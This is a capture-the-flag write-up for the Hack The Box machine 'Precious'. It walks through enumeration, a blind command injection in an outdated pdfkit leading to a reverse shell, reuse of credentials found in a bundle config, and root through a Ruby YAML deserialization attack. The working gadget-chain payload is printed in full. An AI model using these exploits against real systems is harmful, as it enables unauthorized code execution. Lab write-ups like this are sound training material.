Precious Writeup

20 May 2023 #CTF #HTB #box #easy #linux

precious info

me trying to properly crop a screenshot (impossible challenge)

Enumeration

nmap is my precious:

$ sudo nmap -n -sCV -oN enum/initial.nmap 10.10.11.189
[...]
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

SSH

We can use the ssh banner to fingerprint the OS version and find out that the box is running Debian 11 (Bullseye).

HTTP

Upon accessing the website with the IP address of the box, we are redirected to http://precious.htb/. We can try to look for subdomains but there aren't any.

We get a simple page that asks us for a URL:

index

We can check HTTP headers for additional info:

$ curl -I precious.htb
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 483
Connection: keep-alive
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Mon, 28 Nov 2022 23:01:31 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby

curl -I does a HEAD request which retrieves only the response headers.

Given the X-Runtime header, this is most likely a ruby web app.

Directory bruteforcing reveals nothing, seems like the web app is limited to this one page.

Let's play with the input field in Burp and try command injection:

basic command injection attempt

It responds with a pdf (the id command doesn't seem to have been executed):

pdf generated

If we look into it, we can find the software used (and its version) to generate the pdf:

get pdfkit version

Foothold

A quick online search informs us that all versions of pdfkit prior to 0.8.7 are vulnerable to a command injection.

This is a blind command injection, so we'll try to curl ourselves to see if it works:

try to curl our box

But we don't get any hits...

The problem here is that %20 gets translated to a space by the server. To get around this, we need to URL encode the % character:

encode % character

Setup nc to catch the request:

$ sudo nc -lvnp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:44610.
GET / HTTP/1.1
Host: 10.10.14.14
User-Agent: curl/7.74.0
Accept: */*

This time, we do get a hit! Time for a reverse shell:

reverse shell payload

We also have to URL encode the & character in order to avoid it being interpreted as the HTTP parameter separator.

Privesc

ruby to henry

We have a shell as the ruby user. In their home directory, we can find creds in the bundle config:

ruby@precious:~$ cat ~/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

We can use these creds to ssh as henry.

henry to root

Henry can run sudo:

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

We can run this update_dependencies.rb script as root without password. Here is the script in question:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s] }
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The interesting part of the script is when it uses YAML.load on a file called dependencies.yml on the current working directory (which we control).

This blog post explains why loading user-supplied yaml is bad. Essentially, it is a deserialization attack to achieve code execution using a carefully crafted gadget chain:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

Save this in a file called dependencies.yml and run the script:

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
[...]

Along with a bunch of error messages, we see our id command got executed. Now it's just a matter of replacing id by bash in the yaml file.

Key Takeaways